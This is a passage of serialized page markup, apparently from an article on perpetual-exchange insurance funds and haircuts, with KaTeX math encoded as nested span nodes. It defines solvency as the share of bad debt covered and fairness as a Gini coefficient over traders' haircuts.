lue":2746},{"type":23,"tag":141,"props":161831,"children":161833},{"className":161832,"style":2767},[2766],[],{"type":23,"tag":141,"props":161835,"children":161837},{"className":161836,"style":93552},[2686,20260],[161838],{"type":29,"value":93586},{"type":23,"tag":141,"props":161840,"children":161842},{"className":161841,"style":2767},[2766],[],{"type":23,"tag":141,"props":161844,"children":161846},{"className":161845},[2772],[161847],{"type":29,"value":2746},{"type":23,"tag":141,"props":161849,"children":161851},{"className":161850,"style":2767},[2766],[],{"type":23,"tag":141,"props":161853,"children":161855},{"className":161854},[2686],[161856,161861],{"type":23,"tag":141,"props":161857,"children":161859},{"className":161858,"style":91766},[2686,20260],[161860],{"type":29,"value":91769},{"type":23,"tag":141,"props":161862,"children":161864},{"className":161863},[2702],[161865],{"type":23,"tag":141,"props":161866,"children":161868},{"className":161867},[2707,20314],[161869,161898],{"type":23,"tag":141,"props":161870,"children":161872},{"className":161871},[2712],[161873,161893],{"type":23,"tag":141,"props":161874,"children":161876},{"className":161875,"style":141087},[2717],[161877],{"type":23,"tag":141,"props":161878,"children":161879},{"style":108961},[161880,161884],{"type":23,"tag":141,"props":161881,"children":161883},{"className":161882,"style":2727},[2726],[],{"type":23,"tag":141,"props":161885,"children":161887},{"className":161886},[2732,2733,2734,2735],[161888],{"type":23,"tag":141,"props":161889,"children":161891},{"className":161890,"style":20261},[2686,20260,2735],[161892],{"type":29,"value":4661},{"type":23,"tag":141,"props":161894,"children":161896},{"className":161895},[20417],[161897],{"type":29,"value":20420},{"type":23,"tag":141,"props":161899,"children":161901},{"className":161900},[2712],[161902],{"type":23,"tag":141,"props":161903,"children":161905},{"className":161904,"style":91615},[2717],[161906],{"type":23,"tag":141,"props":161907,"children":161908},{},[],{"type":23,"tag":141,"props":161910,"children":161912},{"className":161911},[2798],[161913],{"type":29,"value":512},{"type":23,"tag":141,"props":161915,"children":161917},{"className":161916,"style":2804},[2766],[],{"type":23,"tag":141,"props":161919,"children":161921},{"className":161920,"style":2804},[2766],[],{"type":23,"tag":141,"props":161923,"children":161925},{"className":161924},[2686],[161926],{"type":29,"value":2698},{"type":23,"tag":141,"props":161928,"children":161930},{"className":161929},[20411],[161931],{"type":29,"value":1788},{"type":23,"tag":141,"props":161933,"children":161935},{"className":161934},[20417],[161936],{"type":29,"value":20420},{"type":23,"tag":141,"props":161938,"children":161940},{"className":161939},[2712],[161941],{"type":23,"tag":141,"props":161942,"children":161944},{"className":161943,"style":160222},[2717],[161945],{"type":23,"tag":141,"props":161946,"children":161947},{},[],{"type":23,"tag":32,"props":161949,"children":161950},{},[161951,161952,162029,162031,162056,162058,162135,162137,162214],{"type":29,"value":192},{"type":23,"tag":38,"props":161953,"children":161955},{"className":161954},[2658,2659],[161956],{"type":23,"tag":141,"props":161957,"children":161959},{"className":161958},[2664],[161960],{"type":23,"tag":141,"props":161961,"children":161963},{"className":161962,"ariaHidden":2670},[2669],[161964],{"type":23,"tag":141,"props":161965,"children":161967},{"className":161966},[2675],[161968,161972],{"type":23,"tag":141,"props":161969,"children":161971},{"className":161970,"style":109529},[2680],[],{"type":23,"tag":141,"props":161973,"children":161975},{"className":161974},[2686],[161976,161981],{"type":23,"tag":141,"props":161977,"children":161979},{"className":161978,"style":20261},[2686,20260],[161980],{"type":29,"value":20264},{"type":23,"tag":141,"props":161982,"children":161984},{"className":161983},[2702],[161985],{"type":23,"tag":141,"props":161986,"children":161988},{"className":161987},[2707,20314],[161989,162018],{"type":23,"tag":141,"props":161990,"children":161992},{"className":161991},[2712],[161993,162013],{"type":23,"tag":141,"props":161994,"children":161996},{"className":161995,"style":107964},[2717],[161997],{"type":23,"tag":141,"props":161998,"children":161999},{"style":159465},[162000,162004],{"type":23,"tag":141,"props":162001,"children":162003},{"className":162002,"style":2727},[2726],[],{"type":23,"tag":141,"props":162005,"children":162007},{"className":162006},[2732,2733,2734,2735],[162008],{"type":23,"tag":141,"props":162009,"children":162011},{"className":162010},[2686,20260,2735],[162012],{"type":29,"value":54883},{"type":23,"tag":141,"props":162014,"children":162016},{"className":162015},[20417],[162017],{"type":29,"value":20420},{"type":23,"tag":141,"props":162019,"children":162021},{"className":162020},[2712],[162022],{"type":23,"tag":141,"props":162023,"children":162025},{"className":162024,"style":91615},[2717],[162026],{"type":23,"tag":141,"props":162027,"children":162028},{},[],{"type":29,"value":162030},": mark price from different sources; ",{"type":23,"tag":38,"props":162032,"children":162034},{"className":162033},[2658,2659],[162035],{"type":23,"tag":141,"props":162036,"children":162038},{"className":162037},[2664],[162039],{"type":23,"tag":141,"props":162040,"children":162042},{"className":162041,"ariaHidden":2670},[2669],[162043],{"type":23,"tag":141,"props":162044,"children":162046},{"className":162045},[2675],[162047,162051],{"type":23,"tag":141,"props":162048,"children":162050},{"className":162049,"style":20255},[2680],[],{"type":23,"tag":141,"props":162052,"children":162054},{"className":162053,"style":93552},[2686,20260],[162055],{"type":29,"value":93586},{"type":29,"value":162057},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":38,"props":162059,"children":162061},{"className":162060},[2658,2659],[162062],{"type":23,"tag":141,"props":162063,"children":162065},{"className":162064},[2664],[162066],{"type":23,"tag":141,"props":162067,"children":162069},{"className":162068,"ariaHidden":2670},[2669],[162070],{"type":23,"tag":141,"props":162071,"children":162073},{"className":162072},[2675],[162074,162078],{"type":23,"tag":141,"props":162075,"children":162077},{"className":162076,"style":108502},[2680],[],{"type":23,"tag":141,"props":162079,"children":162081},{"className":162080},[2686],[162082,162087],{"type":23,"tag":141,"props":162083,"children":162085},{"className":162084,"style":92018},[2686,20260],[162086],{"type":29,"value":159603},{"type":23,"tag":141,"props":162088,"children":162090},{"className":162089},[2702],[162091],{"type":23,"tag":141,"props":162092,"children":162094},{"className":162093},[2707,20314],[162095,162124],{"type":23,"tag":141,"props":162096,"children":162098},{"className":162097},[2712],[162099,162119],{"type":23,"tag":141,"props":162100,"children":162102},{"className":162101,"style":92061},[2717],[162103],{"type":23,"tag":141,"props":162104,"children":162105},{"style":92065},[162106,162110],{"type":23,"tag":141,"props":162107,"children":162109},{"className":162108,"style":2727},[2726],[],{"type":23,"tag":141,"props":162111,"children":162113},{"className":162112},[2732,2733,2734,2735],[162114],{"type":23,"tag":141,"props":162115,"children":162117},{"className":162116},[2686,20260,2735],[162118],{"type":29,"value":2404},{"type":23,"tag":141,"props":162120,"children":162122},{"className":162121},[20417],[162123],{"type":29,"value":20420},{"type":23,"tag":141,"props":162125,"children":162127},{"className":162126},[2712],[162128],{"type":23,"tag":141,"props":162129,"children":162131},{"className":162130,"style":91615},[2717],[162132],{"type":23,"tag":141,"props":162133,"children":162134},{},[],{"type":29,"value":162136}," is PNL for longs, negated for shorts; ",{"type":23,"tag":38,"props":162138,"children":162140},{"className":162139},[2658,2659],[162141],{"type":23,"tag":141,"props":162142,"children":162144},{"className":162143},[2664],[162145],{"type":23,"tag":141,"props":162146,"children":162148},{"className":162147,"ariaHidden":2670},[2669],[162149],{"type":23,"tag":141,"props":162150,"children":162152},{"className":162151},[2675],[162153,162157],{"type":23,"tag":141,"props":162154,"children":162156},{"className":162155,"style":108502},[2680],[],{"type":23,"tag":141,"props":162158,"children":162160},{"className":162159},[2686],[162161,162166],{"type":23,"tag":141,"props":162162,"children":162164},{"className":162163,"style":120812},[2686,20260],[162165],{"type":29,"value":48050},{"type":23,"tag":141,"props":162167,"children":162169},{"className":162168},[2702],[162170],{"type":23,"tag":141,"props":162171,"children":162173},{"className":162172},[2707,20314],[162174,162203],{"type":23,"tag":141,"props":162175,"children":162177},{"className":162176},[2712],[162178,162198],{"type":23,"tag":141,"props":162179,"children":162181},{"className":162180,"style":92061},[2717],[162182],{"type":23,"tag":141,"props":162183,"children":162184},{"style":159760},[162185,162189],{"type":23,"tag":141,"props":162186,"children":162188},{"className":162187,"style":2727},[2726],[],{"type":23,"tag":141,"props":162190,"children":162192},{"className":162191},[2732,2733,2734,2735],[162193],{"type":23,"tag":141,"props":162194,"children":162196},{"className":162195},[2686,20260,2735],[162197],{"type":29,"value":2404},{"type":23,"tag":141,"props":162199,"children":162201},{"className":162200},[20417],[162202],{"type":29,"value":20420},{"type":23,"tag":141,"props":162204,"children":162206},{"className":162205},[2712],[162207],{"type":23,"tag":141,"props":162208,"children":162210},{"className":162209,"style":91615},[2717],[162211],{"type":23,"tag":141,"props":162212,"children":162213},{},[],{"type":29,"value":162215}," is the positive part of PNL.)",{"type":23,"tag":32,"props":162217,"children":162218},{},[162219],{"type":29,"value":162220},"And let's make the trilemma definitions concrete:",{"type":23,"tag":15362,"props":162222,"children":162223},{},[162224,162698,163262],{"type":23,"tag":120,"props":162225,"children":162226},{},[162227,162231,162232,162486,162488,162539,162541,162644,162645,162696],{"type":23,"tag":47,"props":162228,"children":162229},{},[162230],{"type":29,"value":159344},{"type":29,"value":31380},{"type":23,"tag":38,"props":162233,"children":162235},{"className":162234},[2658,2659],[162236],{"type":23,"tag":141,"props":162237,"children":162239},{"className":162238},[2664],[162240],{"type":23,"tag":141,"props":162241,"children":162243},{"className":162242,"ariaHidden":2670},[2669],[162244,162271],{"type":23,"tag":141,"props":162245,"children":162247},{"className":162246},[2675],[162248,162253,162258,162262,162267],{"type":23,"tag":141,"props":162249,"children":162252},{"className":162250,"style":162251},[2680],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":141,"props":162254,"children":162256},{"className":162255},[2686],[162257],{"type":29,"value":687},{"type":23,"tag":141,"props":162259,"children":162261},{"className":162260,"style":2767},[2766],[],{"type":23,"tag":141,"props":162263,"children":162265},{"className":162264},[2772],[162266],{"type":29,"value":2746},{"type":23,"tag":141,"props":162268,"children":162270},{"className":162269,"style":2767},[2766],[],{"type":23,"tag":141,"props":162272,"children":162274},{"className":162273},[2675],[162275,162280],{"type":23,"tag":141,"props":162276,"children":162279},{"className":162277,"style":162278},[2680],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":141,"props":162281,"children":162283},{"className":162282},[2686],[162284,162288,162482],{"type":23,"tag":141,"props":162285,"children":162287},{"className":162286},[20389,112050],[],{"type":23,"tag":141,"props":162289,"children":162291},{"className":162290},[112055],[162292],{"type":23,"tag":141,"props":162293,"children":162295},{"className":162294},[2707,20314],[162296,162470],{"type":23,"tag":141,"props":162297,"children":162299},{"className":162298},[2712],[162300,162465],{"type":23,"tag":141,"props":162301,"children":162304},{"className":162302,"style":162303},[2717],"height:0.8884em;",[162305,162379,162390],{"type":23,"tag":141,"props":162306,"children":162307},{"style":112072},[162308,162312],{"type":23,"tag":141,"props":162309,"children":162311},{"className":162310,"style":110703},[2726],[],{"type":23,"tag":141,"props":162313,"children":162315},{"className":162314},[2732,2733,2734,2735],[162316],{"type":23,"tag":141,"props":162317,"children":162319},{"className":162318},[2686,2735],[162320],{"type":23,"tag":141,"props":162321,"children":162323},{"className":162322},[2686,2735],[162324,162329],{"type":23,"tag":141,"props":162325,"children":162327},{"className":162326,"style":91532},[2686,20260,2735],[162328],{"type":29,"value":160019},{"type":23,"tag":141,"props":162330,"children":162332},{"className":162331},[2702],[162333],{"type":23,"tag":141,"props":162334,"children":162336},{"className":162335},[2707,20314],[162337,162367],{"type":23,"tag":141,"props":162338,"children":162340},{"className":162339},[2712],[162341,162362],{"type":23,"tag":141,"props":162342,"children":162344},{"className":162343,"style":110864},[2717],[162345],{"type":23,"tag":141,"props":162346,"children":162348},{"style":162347},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[162349,162353],{"type":23,"tag":141,"props":162350,"children":162352},{"className":162351,"style":107392},[2726],[],{"type":23,"tag":141,"props":162354,"children":162356},{"className":162355},[2732,107397,107398,2735],[162357],{"type":23,"tag":141,"props":162358,"children":162360},{"className":162359,"style":20261},[2686,20260,2735],[162361],{"type":29,"value":4661},{"type":23,"tag":141,"props":162363,"children":162365},{"className":162364},[20417],[162366],{"type":29,"value":20420},{"type":23,"tag":141,"props":162368,"children":162370},{"className":162369},[2712],[162371],{"type":23,"tag":141,"props":162372,"children":162375},{"className":162373,"style":162374},[2717],"height:0.1433em;",[162376],{"type":23,"tag":141,"props":162377,"children":162378},{},[],{"type":23,"tag":141,"props":162380,"children":162381},{"style":112105},[162382,162386],{"type":23,"tag":141,"props":162383,"children":162385},{"className":162384,"style":110703},[2726],[],{"type":23,"tag":141,"props":162387,"children":162389},{"className":162388,"style":112115},[112114],[],{"type":23,"tag":141,"props":162391,"children":162393},{"style":162392},"top:-3.4101em;",[162394,162398],{"type":23,"tag":141,"props":162395,"children":162397},{"className":162396,"style":110703},[2726],[],{"type":23,"tag":141,"props":162399,"children":162401},{"className":162400},[2732,2733,2734,2735],[162402],{"type":23,"tag":141,"props":162403,"children":162405},{"className":162404},[2686,2735],[162406],{"type":23,"tag":141,"props":162407,"children":162409},{"className":162408},[2686,2735],[162410,162415],{"type":23,"tag":141,"props":162411,"children":162413},{"className":162412,"style":121309},[2686,20260,2735],[162414],{"type":29,"value":121312},{"type":23,"tag":141,"props":162416,"children":162418},{"className":162417},[2702],[162419],{"type":23,"tag":141,"props":162420,"children":162422},{"className":162421},[2707,20314],[162423,162454],{"type":23,"tag":141,"props":162424,"children":162426},{"className":162425},[2712],[162427,162449],{"type":23,"tag":141,"props":162428,"children":162431},{"className":162429,"style":162430},[2717],"height:0.2963em;",[162432],{"type":23,"tag":141,"props":162433,"children":162435},{"style":162434},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[162436,162440],{"type":23,"tag":141,"props":162437,"children":162439},{"className":162438,"style":107392},[2726],[],{"type":23,"tag":141,"props":162441,"children":162443},{"className":162442},[2732,107397,107398,2735],[162444],{"type":23,"tag":141,"props":162445,"children":162447},{"className":162446},[2686,20260,2735],[162448],{"type":29,"value":20402},{"type":23,"tag":141,"props":162450,"children":162452},{"className":162451},[20417],[162453],{"type":29,"value":20420},{"type":23,"tag":141,"props":162455,"children":162457},{"className":162456},[2712],[162458],{"type":23,"tag":141,"props":162459,"children":162461},{"className":162460,"style":107417},[2717],[162462],{"type":23,"tag":141,"props":162463,"children":162464},{},[],{"type":23,"tag":141,"props":162466,"children":162468},{"className":162467},[20417],[162469],{"type":29,"value":20420},{"type":23,"tag":141,"props":162471,"children":162473},{"className":162472},[2712],[162474],{"type":23,"tag":141,"props":162475,"children":162478},{"className":162476,"style":162477},[2717],"height:0.4453em;",[162479],{"type":23,"tag":141,"props":162480,"children":162481},{},[],{"type":23,"tag":141,"props":162483,"children":162485},{"className":162484},[20411,112050],[],{"type":29,"value":162487}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":38,"props":162489,"children":162491},{"className":162490},[2658,2659],[162492],{"type":23,"tag":141,"props":162493,"children":162495},{"className":162494},[2664],[162496],{"type":23,"tag":141,"props":162497,"children":162499},{"className":162498,"ariaHidden":2670},[2669],[162500,162526],{"type":23,"tag":141,"props":162501,"children":162503},{"className":162502},[2675],[162504,162508,162513,162517,162522],{"type":23,"tag":141,"props":162505,"children":162507},{"className":162506,"style":20255},[2680],[],{"type":23,"tag":141,"props":162509,"children":162511},{"className":162510,"style":20719},[2686,20260],[162512],{"type":29,"value":20722},{"type":23,"tag":141,"props":162514,"children":162516},{"className":162515,"style":2863},[2766],[],{"type":23,"tag":141,"props":162518,"children":162520},{"className":162519},[2868],[162521],{"type":29,"value":1377},{"type":23,"tag":141,"props":162523,"children":162525},{"className":162524,"style":2863},[2766],[],{"type":23,"tag":141,"props":162527,"children":162529},{"className":162528},[2675],[162530,162534],{"type":23,"tag":141,"props":162531,"children":162533},{"className":162532,"style":92563},[2680],[],{"type":23,"tag":141,"props":162535,"children":162537},{"className":162536},[2686],[162538],{"type":29,"value":687},{"type":29,"value":162540}," means fully solvent (",{"type":23,"tag":38,"props":162542,"children":162544},{"className":162543},[2658,2659],[162545],{"type":23,"tag":141,"props":162546,"children":162548},{"className":162547},[2664],[162549],{"type":23,"tag":141,"props":162550,"children":162552},{"className":162551,"ariaHidden":2670},[2669],[162553,162631],{"type":23,"tag":141,"props":162554,"children":162556},{"className":162555},[2675],[162557,162561,162618,162622,162627],{"type":23,"tag":141,"props":162558,"children":162560},{"className":162559,"style":109529},[2680],[],{"type":23,"tag":141,"props":162562,"children":162564},{"className":162563},[2686],[162565,162570],{"type":23,"tag":141,"props":162566,"children":162568},{"className":162567,"style":121309},[2686,20260],[162569],{"type":29,"value":121312},{"type":23,"tag":141,"props":162571,"children":162573},{"className":162572},[2702],[162574],{"type":23,"tag":141,"props":162575,"children":162577},{"className":162576},[2707,20314],[162578,162607],{"type":23,"tag":141,"props":162579,"children":162581},{"className":162580},[2712],[162582,162602],{"type":23,"tag":141,"props":162583,"children":162585},{"className":162584,"style":160175},[2717],[162586],{"type":23,"tag":141,"props":162587,"children":162588},{"style":160179},[162589,162593],{"type":23,"tag":141,"props":162590,"children":162592},{"className":162591,"style":2727},[2726],[],{"type":23,"tag":141,"props":162594,"children":162596},{"className":162595},[2732,2733,2734,2735],[162597],{"type":23,"tag":141,"props":162598,"children":162600},{"className":162599},[2686,20260,2735],[162601],{"type":29,"value":20402},{"type":23,"tag":141,"props":162603,"children":162605},{"className":162604},[20417],[162606],{"type":29,"value":20420},{"type":23,"tag":141,"props":162608,"children":162610},{"className":162609},[2712],[162611],{"type":23,"tag":141,"props":162612,"children":162614},{"className":162613,"style":91615},[2717],[162615],{"type":23,"tag":141,"props":162616,"children":162617},{},[],{"type":23,"tag":141,"props":162619,"children":162621},{"className":162620,"style":2863},[2766],[],{"type":23,"tag":141,"props":162623,"children":162625},{"className":162624},[2868],[162626],{"type":29,"value":1377},{"type":23,"tag":141,"props":162628,"children":162630},{"className":162629,"style":2863},[2766],[],{"type":23,"tag":141,"props":162632,"children":162634},{"className":162633},[2675],[162635,162639],{"type":23,"tag":141,"props":162636,"children":162638},{"className":162637,"style":92563},[2680],[],{"type":23,"tag":141,"props":162640,"children":162642},{"className":162641},[2686],[162643],{"type":29,"value":2698},{"type":29,"value":13854},{"type":23,"tag":38,"props":162646,"children":162648},{"className":162647},[2658,2659],[162649],{"type":23,"tag":141,"props":162650,"children":162652},{"className":162651},[2664],[162653],{"type":23,"tag":141,"props":162654,"children":162656},{"className":162655,"ariaHidden":2670},[2669],[162657,162683],{"type":23,"tag":141,"props":162658,"children":162660},{"className":162659},[2675],[162661,162665,162670,162674,162679],{"type":23,"tag":141,"props":162662,"children":162664},{"className":162663,"style":20255},[2680],[],{"type":23,"tag":141,"props":162666,"children":162668},{"className":162667,"style":20719},[2686,20260],[162669],{"type":29,"value":20722},{"type":23,"tag":141,"props":162671,"children":162673},{"className":162672,"style":2863},[2766],[],{"type":23,"tag":141,"props":162675,"children":162677},{"className":162676},[2868],[162678],{"type":29,"value":1377},{"type":23,"tag":141,"props":162680,"children":162682},{"className":162681,"style":2863},[2766],[],{"type":23,"tag":141,"props":162684,"children":162686},{"className":162685},[2675],[162687,162691],{"type":23,"tag":141,"props":162688,"children":162690},{"className":162689,"style":92563},[2680],[],{"type":23,"tag":141,"props":162692,"children":162694},{"className":162693},[2686],[162695],{"type":29,"value":2698},{"type":29,"value":162697}," means nothing was recovered.",{"type":23,"tag":120,"props":162699,"children":162700},{},[162701,162705,162706,162829,162830,163047,163049,163153,163155,163206,163208,163260],{"type":23,"tag":47,"props":162702,"children":162703},{},[162704],{"type":29,"value":159354},{"type":29,"value":31380},{"type":23,"tag":38,"props":162707,"children":162709},{"className":162708},[2658,2659],[162710],{"type":23,"tag":141,"props":162711,"children":162713},{"className":162712},[2664],[162714],{"type":23,"tag":141,"props":162715,"children":162717},{"className":162716,"ariaHidden":2670},[2669],[162718,162744],{"type":23,"tag":141,"props":162719,"children":162721},{"className":162720},[2675],[162722,162726,162731,162735,162740],{"type":23,"tag":141,"props":162723,"children":162725},{"className":162724,"style":162251},[2680],[],{"type":23,"tag":141,"props":162727,"children":162729},{"className":162728},[2686],[162730],{"type":29,"value":687},{"type":23,"tag":141,"props":162732,"children":162734},{"className":162733,"style":2767},[2766],[],{"type":23,"tag":141,"props":162736,"children":162738},{"className":162737},[2772],[162739],{"type":29,"value":2746},{"type":23,"tag":141,"props":162741,"children":162743},{"className":162742,"style":2767},[2766],[],{"type":23,"tag":141,"props":162745,"children":162747},{"className":162746},[2675],[162748,162752,162762,162767,162824],{"type":23,"tag":141,"props":162749,"children":162751},{"className":162750,"style":2787},[2680],[],{"type":23,"tag":141,"props":162753,"children":162755},{"className":162754},[2686,29],[162756],{"type":23,"tag":141,"props":162757,"children":162759},{"className":162758},[2686],[162760],{"type":29,"value":162761},"Gini",{"type":23,"tag":141,"props":162763,"children":162765},{"className":162764},[20389],[162766],{"type":29,"value":192},{"type":23,"tag":141,"props":162768,"children":162770},{"className":162769},[2686],[162771,162776],{"type":23,"tag":141,"props":162772,"children":162774},{"className":162773},[2686,20260],[162775],{"type":29,"value":82830},{"type":23,"tag":141,"props":162777,"children":162779},{"className":162778},[2702],[162780],{"type":23,"tag":141,"props":162781,"children":162783},{"className":162782},[2707,20314],[162784,162813],{"type":23,"tag":141,"props":162785,"children":162787},{"className":162786},[2712],[162788,162808],{"type":23,"tag":141,"props":162789,"children":162791},{"className":162790,"style":92061},[2717],[162792],{"type":23,"tag":141,"props":162793,"children":162794},{"style":91588},[162795,162799],{"type":23,"tag":141,"props":162796,"children":162798},{"className":162797,"style":2727},[2726],[],{"type":23,"tag":141,"props":162800,"children":162802},{"className":162801},[2732,2733,2734,2735],[162803],{"type":23,"tag":141,"props":162804,"children":162806},{"className":162805},[2686,20260,2735],[162807],{"type":29,"value":2404},{"type":23,"tag":141,"props":162809,"children":162811},{"className":162810},[20417],[162812],{"type":29,"value":20420},{"type":23,"tag":141,"props":162814,"children":162816},{"className":162815},[2712],[162817],{"type":23,"tag":141,"props":162818,"children":162820},{"className":162819,"style":91615},[2717],[162821],{"type":23,"tag":141,"props":162822,"children":162823},{},[],{"type":23,"tag":141,"props":162825,"children":162827},{"className":162826},[20411],[162828],{"type":29,"value":1788},{"type":29,"value":5996},{"type":23,"tag":38,"props":162831,"children":162833},{"className":162832},[2658,2659],[162834],{"type":23,"tag":141,"props":162835,"children":162837},{"className":162836},[2664],[162838],{"type":23,"tag":141,"props":162839,"children":162841},{"className":162840,"ariaHidden":2670},[2669],[162842,162920],{"type":23,"tag":141,"props":162843,"children":162845},{"className":162844},[2675],[162846,162850,162907,162911,162916],{"type":23,"tag":141,"props":162847,"children":162849},{"className":162848,"style":140811},[2680],[],{"type":23,"tag":141,"props":162851,"children":162853},{"className":162852},[2686],[162854,162859],{"type":23,"tag":141,"props":162855,"children":162857},{"className":162856},[2686,20260],[162858],{"type":29,"value":82830},{"type":23,"tag":141,"props":162860,"children":162862},{"className":162861},[2702],[162863],{"type":23,"tag":141,"props":162864,"children":162866},{"className":162865},[2707,20314],[162867,162896],{"type":23,"tag":141,"props":162868,"children":162870},{"className":162869},[2712],[162871,162891],{"type":23,"tag":141,"props":162872,"children":162874},{"className":162873,"style":92061},[2717],[162875],{"type":23,"tag":141,"props":162876,"children":162877},{"style":91588},[162878,162882],{"type":23,"tag":141,"props":162879,"children":162881},{"className":162880,"style":2727},[2726],[],{"type":23,"tag":141,"props":162883,"children":162885},{"className":162884},[2732,2733,2734,2735],[162886],{"type":23,"tag":141,"props":162887,"children":162889},{"className":162888},[2686,20260,2735],[162890],{"type":29,"value":2404},{"type":23,"tag":141,"props":162892,"children":162894},{"className":162893},[20417],[162895],{"type":29,"value":20420},{"type":23,"tag":141,"props":162897,"children":162899},{"className":162898},[2712],[162900],{"type":23,"tag":141,"props":162901,"children":162903},{"className":162902,"style":91615},[2717],[162904],{"type":23,"tag":141,"props":162905,"children":162906},{},[],{"type":23,"tag":141,"props":162908,"children":162910},{"className":162909,"style":2863},[2766],[],{"type":23,"tag":141,"props":162912,"children":162914},{"className":162913},[2868],[162915],{"type":29,"value":1377},{"type":23,"tag":141,"props":162917,"children":162919},{"className":162918,"style":2863},[2766],[],{"type":23,"tag":141,"props":162921,"children":162923},{"className":162922},[2675],[162924,162928,162985,162990],{"type":23,"tag":141,"props":162925,"children":162927},{"className":162926,"style":2787},[2680],[],{"type":23,"tag":141,"props":162929,"children":162931},{"className":162930},[2686],[162932,162937],{"type":23,"tag":141,"props":162933,"children":162935},{"className":162934},[2686,20260],[162936],{"type":29,"value":17947},{"type":23,"tag":141,"props":162938,"children":162940},{"className":162939},[2702],[162941],{"type":23,"tag":141,"props":162942,"children":162944},{"className":162943},[2707,20314],[162945,162974],{"type":23,"tag":141,"props":162946,"children":162948},{"className":162947},[2712],[162949,162969],{"type":23,"tag":141,"props":162950,"children":162952},{"className":162951,"style":92061},[2717],[162953],{"type":23,"tag":141,"props":162954,"children":162955},{"style":91588},[162956,162960],{"type":23,"tag":141,"props":162957,"children":162959},{"className":162958,"style":2727},[2726],[],{"type":23,"tag":141,"props":162961,"children":162963},{"className":162962},[2732,2733,2734,2735],[162964],{"type":23,"tag":141,"props":162965,"children":162967},{"className":162966},[2686,20260,2735],[162968],{"type":29,"value":2404},{"type":23,"tag":141,"props":162970,"children":162972},{"className":162971},[20417],[162973],{"type":29,"value":20420},{"type":23,"tag":141,"props":162975,"children":162977},{"className":162976},[2712],[162978],{"type":23,"tag":141,"props":162979,"children":162981},{"className":162980,"style":91615},[2717],[162982],{"type":23,"tag":141,"props":162983,"children":162984},{},[],{"type":23,"tag":141,"props":162986,"children":162988},{"className":162987},[2686],[162989],{"type":29,"value":3255},{"type":23,"tag":141,"props":162991,"children":162993},{"className":162992},[2686],[162994,162999],{"type":23,"tag":141,"props":162995,"children":162997},{"className":162996,"style":120812},[2686,20260],[162998],{"type":29,"value":48050},{"type":23,"tag":141,"props":163000,"children":163002},{"className":163001},[2702],[163003],{"type":23,"tag":141,"props":163004,"children":163006},{"className":163005},[2707,20314],[163007,163036],{"type":23,"tag":141,"props":163008,"children":163010},{"className":163009},[2712],[163011,163031],{"type":23,"tag":141,"props":163012,"children":163014},{"className":163013,"style":92061},[2717],[163015],{"type":23,"tag":141,"props":163016,"children":163017},{"style":159760},[163018,163022],{"type":23,"tag":141,"props":163019,"children":163021},{"className":163020,"style":2727},[2726],[],{"type":23,"tag":141,"props":163023,"children":163025},{"className":163024},[2732,2733,2734,2735],[163026],{"type":23,"tag":141,"props":163027,"children":163029},{"className":163028},[2686,20260,2735],[163030],{"type":29,"value":2404},{"type":23,"tag":141,"props":163032,"children":163034},{"className":163033},[20417],[163035],{"type":29,"value":20420},{"type":23,"tag":141,"props":163037,"children":163039},{"className":163038},[2712],[163040],{"type":23,"tag":141,"props":163041,"children":163043},{"className":163042,"style":91615},[2717],[163044],{"type":23,"tag":141,"props":163045,"children":163046},{},[],{"type":29,"value":163048}," for each winner with ",{"type":23,"tag":38,"props":163050,"children":163052},{"className":163051},[2658,2659],[163053],{"type":23,"tag":141,"props":163054,"children":163056},{"className":163055},[2664],[163057],{"type":23,"tag":141,"props":163058,"children":163060},{"className":163059,"ariaHidden":2670},[2669],[163061,163140],{"type":23,"tag":141,"props":163062,"children":163064},{"className":163063},[2675],[163065,163070,163127,163131,163136],{"type":23,"tag":141,"props":163066,"children":163069},{"className":163067,"style":163068},[2680],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":163071,"children":163073},{"className":163072},[2686],[163074,163079],{"type":23,"tag":141,"props":163075,"children":163077},{"className":163076,"style":120812},[2686,20260],[163078],{"type":29,"value":48050},{"type":23,"tag":141,"props":163080,"children":163082},{"className":163081},[2702],[163083],{"type":23,"tag":141,"props":163084,"children":163086},{"className":163085},[2707,20314],[163087,163116],{"type":23,"tag":141,"props":163088,"children":163090},{"className":163089},[2712],[163091,163111],{"type":23,"tag":141,"props":163092,"children":163094},{"className":163093,"style":92061},[2717],[163095],{"type":23,"tag":141,"props":163096,"children":163097},{"style":159760},[163098,163102],{"type":23,"tag":141,"props":163099,"children":163101},{"className":163100,"style":2727},[2726],[],{"type":23,"tag":141,"props":163103,"children":163105},{"className":163104},[2732,2733,2734,2735],[163106],{"type":23,"tag":141,"props":163107,"children":163109},{"className":163108},[2686,20260,2735],[163110],{"type":29,"value":2404},{"type":23,"tag":141,"props":163112,"children":163114},{"className":163113},[20417],[163115],{"type":29,"value":20420},{"type":23,"tag":141,"props":163117,"children":163119},{"className":163118},[2712],[163120],{"type":23,"tag":141,"props":163121,"children":163123},{"className":163122,"style":91615},[2717],[163124],{"type":23,"tag":141,"props":163125,"children":163126},{},[],{"type":23,"tag":141,"props":163128,"children":163130},{"className":163129,"style":2863},[2766],[],{"type":23,"tag":141,"props":163132,"children":163134},{"className":163133},[2868],[163135],{"type":29,"value":9142},{"type":23,"tag":141,"props":163137,"children":163139},{"className":163138,"style":2863},[2766],[],{"type":23,"tag":141,"props":163141,"children":163143},{"className":163142},[2675],[163144,163148],{"type":23,"tag":141,"props":163145,"children":163147},{"className":163146,"style":92563},[2680],[],{"type":23,"tag":141,"props":163149,"children":163151},{"className":163150},[2686],[163152],{"type":29,"value":2698},{"type":29,"value":163154}," — how uniformly the haircut burden is distributed across profitable traders. 